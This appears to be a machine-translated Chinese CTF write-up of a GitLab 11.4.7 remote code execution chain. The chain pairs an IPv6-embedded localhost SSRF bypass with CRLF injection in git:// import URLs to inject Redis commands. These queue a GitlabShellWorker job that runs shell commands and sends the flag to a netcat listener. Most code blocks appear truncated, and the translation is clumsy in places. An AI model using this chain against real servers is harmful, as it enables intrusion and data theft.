gitlab-11.4.7远程代码执行漏洞及exp史诗级详细剖析
TL;DR
git://协议中的CLRF注入将RCE中的IPv6/IPv4地址嵌入链。
youtube vedio by liveoverflow
- GitLab 11.4.7 Remote Code Execution-Real World CTF 2018
说明
在real world CTF上,一个叫做flaglab的有趣的web挑战。描述说:
1 | "You might need a 0day" |
有一个挑战的链接,还有一个docker-compose.yml文件的下载链接。在访问挑战站点时,GitLab表示欢迎。docker-compose.yml文件可以用来设置这个实例的本地版本。在docker-compose.yml, docker映像被设置为gitlab/gitlab-ce:11.4.7-ce.0。在对gitlab版本做谷歌搜索时,偶然发现了一篇关于gitlab补丁发布的博客文章,它似乎是最新的版本——该博客文章创建于2018年11月21日,CTF是在2018年12月1日举行。因为GitLab有庞大的代码库,所以认为根本不可能在它身上找到一天的时间,这只是在浪费时间……
但事实证明,在这些假设上是错误的。一些来自RPISEC的人说,它不是最新版本–有一个新版本11.4.8,并且新版本的提交历史显示了几个安全补丁。其中一个漏洞是“Webhooks中的SSRF”,这是Chaitin Tech的nyangawa报告的(Chaitin Tech也是组织real world CTF的公司)。
设置
现在开始设置GitLab漏洞版本的本地副本。可以从docker-compose.yml文件开始。
1 | web: |
从上面的YAML文件中,可以得出以下结论:
- 使用的docker映像是GitLab Community Edition 11.4.7 GitLab -ce:11.4.7-ce.0。
- Redis服务器运行在6379端口,它正在监听本地主机。
- 使用一个名为steg0_initial_root_password的文件设置rails initial_root_password
- 有一些端口从docker容器映射到我们的机器,这将应用程序暴露在容器外供我们操作。我们将使用运行在端口5080上的HTTP服务。
- 此外,还有卷,它挂载docker容器内的本地文件和文件夹。例如,机器上的./srv/gitlab/logs将被挂载到docker容器内的/var/log/gitlab。密码文件和flag也被复制到容器中。
使用以下命令创建这些所需的文件和文件夹:
1 | # Create required folders for the gitlab logs, data and configs. leave it empty |
现在有了所需的文件和文件夹,可以使用以下命令启动docker容器。
1 | $ docker-compose up |
下载基本映像并构建gitlab实例的过程可能需要几分钟。在您开始查看一些日志之后,应该能够浏览到
1 | http://127.0.0.1:5080/ |
以获得易受攻击的GitLab版本。
现在是时候配置chrome浏览器来使用代理服务器了。你可以在设置中手动修改,也可以通过命令行操作,这样更方便。
1 | /path/to/chrome --proxy-server="127.0.0.1:8080" --profile-directory=Proxy --proxy-bypass-list="" |
遇到过Burp套件代理无法拦截本地主机请求的问题,即使旁路列表是空的。因此,一个快速的解决方法是在hosts文件中添加一个条目,如下所示。
1 | 127.0.0.1 localhost.com |
现在浏览
1 | http://localhost.com:5080 |
通过Burp套件代理访问GitLab。这就是所有的设置!
bugs
正如已经知道的,当时认为11.4.7是GitLab的最新版本,但实际上,有一个更新的版本11.4.8,在提交中有许多安全补丁。其中一个漏洞与SSRF有关,它甚至提到了Chaitin Tech,该公司负责托管real world CTF。此外,还知道flag文件位于/(文件系统的/root),因此需要一个任意文件读取或远程代码执行漏洞。现在来看看针对SSRF和其他潜在bug的那些补丁。在顶部,将发现3个与安全相关的提交。
在Webhooks中有SSRF,也有XSS,但它不是那么有趣,最后,在有CRLF注入(Carriage-Return/Line-Feed) ,它基本上是换行注入。如果查看SSRF问题的修复并向下滚动一点,将看到有一些单元测试可以确认该问题的修复。这些测试告诉如何利用漏洞,这正是想要的。看看一些测试用例,显然,嵌入IPv4地址的特殊IPv6地址可以绕过SSRF检查。
1 | # SSRF protection Bypass |
另一个问题是项目钩子中的CRLF漏洞,向下滚动到测试用例,可以看到它只是带换行的url。要么是URL编码的,要么就是普通的换行符。现在的问题是,这些漏洞能帮助利用GitLab来获得flag吗?通过链接这两个bug,可以得到一个远程代码执行。这实际上是一个典型的安全问题。基本上,SSRF或服务器端请求伪造用于针对本地内部Redis数据库,该数据库广泛用于不同类型的工作者。因此,如果可以推出一个恶意的worker,可能会以一个远程代码执行漏洞而告终。事实上,GitLab之前已经被这样利用过好几次了,有很多类似的bug bounty文章。不记得第一次使用这种技术是在哪里,但记得是@Agarri_FR在2015年发的推特上说的,2014年他也有一篇博文-Trying to hack Redis via HTTP requests。确实遇到了很多关于bug的赏金文章,所以每个对网络安全感兴趣的人都应该知道这个。
漏洞利用
现在看看有趣的东西,首先,看看是否能在某处触发SSRF。首先,考虑将webhook(用于在储存库中触发任何事件时, 向URL发送请求)作为目标,就像这里提到的那样。然而,当点击创建一个新项目时,看到了多种导入项目的方法,其中一种是通过URL repo,它基本上会在你指定URL时获取repo。可以在http://,上导入repo https:// 和 git://。因此,为了测试这一点,可以尝试使用以下URL导入repo。
1 | http://127.0.0.1/test/somerepo.git |
但是得到的错误是“Import URL is blocked: Requests to localhost are not allowed”。
现在,可以尝试使用特殊的IPv6地址绕过。如果把导入URL替换成下面的。
1 | http://[0:0:0:0:0:ffff:127.0.0.1]:1234/test/ssrf.git |
在使用这个URL导入之前,需要一个服务器监听端口1234以确认SSRF。为此,可以在docker容器上获得一个root shell来安装netcat,然后监听端口1234以查看是否触发了SSRF。首先,继续并列出所有正在运行的Docker容器,以了解应该在哪个容器上安装shell。
1 | # get a list of running docker containers |
现在只有一个在运行,是GitLab 11.4.7。通过指定容器ID,可以使用以下命令获得容器上的shell。
1 | $ docker exec -i -t bd9daf8c07a6 "/bin/bash" |
这里,
- bd9daf8c07a6是容器ID。
- -i 的意思是与/bin/bash的交互
- -t 表示创建tty
- -a 用于交互的伪终端
现在已经有了shell,可以安装netcat,这样就可以设置一个简单的服务器来侦听传入的SSRF请求。
1 | root@gitlab:~ apt update && apt install -y netcat |
设置原始TCP服务器非常简单,如下命令所示。
1 | root@gitlab:~ nc -lvp 1234 |
这里,
- -i 是要告诉netcat必须“听”
- -v 是详细输出
- -p 指定服务器必须绑定的端口号
现在已经完成了SSRF测试设置,然后发出相同的导入请求,看看是否可以触发SSRF。此外,与在浏览器中指定web应用程序的URL不同,可以使用Burp套件的中继器根据需要快速修改HTTP请求并将其发送出去。要做到这一点,可以修改旧的“通过URL repo”请求。可以将URL更新为:
1 | http://[0:0:0:0:ffff:127.0.0.1]:1234/test/ssrf |
git和项目的名称转换到还不存在的地方,然后发送请求。
可以看到上面的图片,请求被困在netcat listener,这证实有SSRF可以跟内部服务,在的案例中是当地netcat服务器在端口1234上,这意味着可以谈谈内部复述,服务器在端口6379上运行(docker-compose.yml中指定)。
但是什么是Redis以及GitLab如何使用它?
Redis是一个内存数据结构存储,用作数据库,缓存和消息代理。GitLab以不同的方式使用它,比如存储会话数据、缓存甚至后台作业队列。Redis使用了一种简单明了的纯文本协议,这意味着可以直接使用netcat连接到Redis并开始使用它。
1 | # quick test with redis |
Redis是一个简单的基于ASCII文本的协议,但HTTP也是一个简单的基于ASCII文本的协议。现在,如果尝试向Redis发送HTTP请求会发生什么?Redis会执行命令吗?现在试一试。
1 | # http request test with redis |
出现了一个错误,说’get’命令的一些参数是错误的,这是有意义的,因为从前面的例子中,知道’get’命令如何在Redis中工作。但是,后来又退回了shell里,然而从早些时候开始,看到即使有错误Redis也不会退出,那么到底发生了什么呢?将原始HTTP协议数据逐行粘贴可以得到答案。第二行
1 | Host: [0:0:0:0:0:ffff:127.0.0.1]:1234 |
负责Redis意外终止连接。这是因为SSRF到Redis是一个巨大的问题,Redis已经实现了一个fix。如果字符串”Host:”以命令形式呈现给Redis服务器,它就会知道这是一个试图私下执行Redis命令的HTTP请求,并通过关闭连接来停止执行。
只有当能够在第一行(get /test…)和第二行(Host:…)之间获得payload时,才能使其工作。既然控制了HTTP请求的第一行,可以注入一些新行并添加更多命令吗?
1 | *cough* CRLF *cough* |
在安全发布和提交历史中看到的CRLF注入错误,可以使用它! 从提交历史的测试用例中,可以看到注入是非常直接的。例如,仅仅通过添加新行或URL编码就可以实现这一目的。
1 | http://127.0.0.1:333/%0D%0Atest%0D%0Ablah.git |
然而并没有成功。不确定为什么这不能工作,但是通过将协议从http:// 更改为git:// 可以使其工作。
1 | # Does work :) |
现在已经知道了Redis是什么,它在哪里被使用,以及如何使用CRLF注入添加新行,接下来可以为RCE创建payload。这个想法是通过使用SSRF漏洞与内部Redis服务器通信,并将一个协议(Redis)私接到另一个协议(git://)中,并获得远程代码执行。
幸运的是,@jobertabma已经测试出了payload - Evaluating Ruby code by injecting Rescue job on the system_hook_push queue through web hook。现在看看。
1 | multi |
如你所知,Redis还可以用于后台工作队列。这些工作由Sidekiq处理,它是ruby的后台任务处理器。可以查看sidekiq队列的列表,看看是否有可以使用的东西。
1 | ... |
system_hook_push可以用来处理新作业它和实际payload中使用的是一样的。现在,为了执行代码/命令,现在需要一个类来做这件事,把它看作一个小工具。幸运的是,Jobert还找到了正确的类–gitlab_shell_worker.rb。
1 | class GitlabShellWorker |
正如所看到的,这正是一直在寻找的类。现在这个GitlabShellWorker被调用时带有一些参数,比如class_eval和需要执行的真正的命令,在例子中,如下所示。
1 | open('| COMMAND_TO_BE_EXECUTED').read |
在实际payload中,将队列推送到system_hook_push并让GitlabShellWorker类运行命令。
现在有了探索所需的一切,可以制作出最后的payload并执行。在此之前,需要在主计算机(192.168.178.21)上设置一个netcat listener来接收该flag。
1 | $ nc -lvp 1234 |
最终的payload如下所示。
1 | multi |
有一些重点需要注意:
- 在上面的payload中,redis命令的每一行前面都需要有一个空格–不知道为什么。
- 正在读取flag并将其发送给我们的netcat listener。
- 添加一个额外的exec命令,以便第一个命令正确执行,第二个命令将与下一行而不是第一行连接。这样做是为了payload的重要部分不会破裂。
带有payload的最终import URL:
- 没有url编码之前的payload(可根据自己需要修改)
1 | # 没有url编码之前的payload |
- url编码之后的payload
1 | # url编码之后的payload |
现在,如果发送“Repo by URL”请求与此URL,将得到flag!
结论和收获
- 挖洞要细心
- 多跟踪大牛的twitter保存经验和payload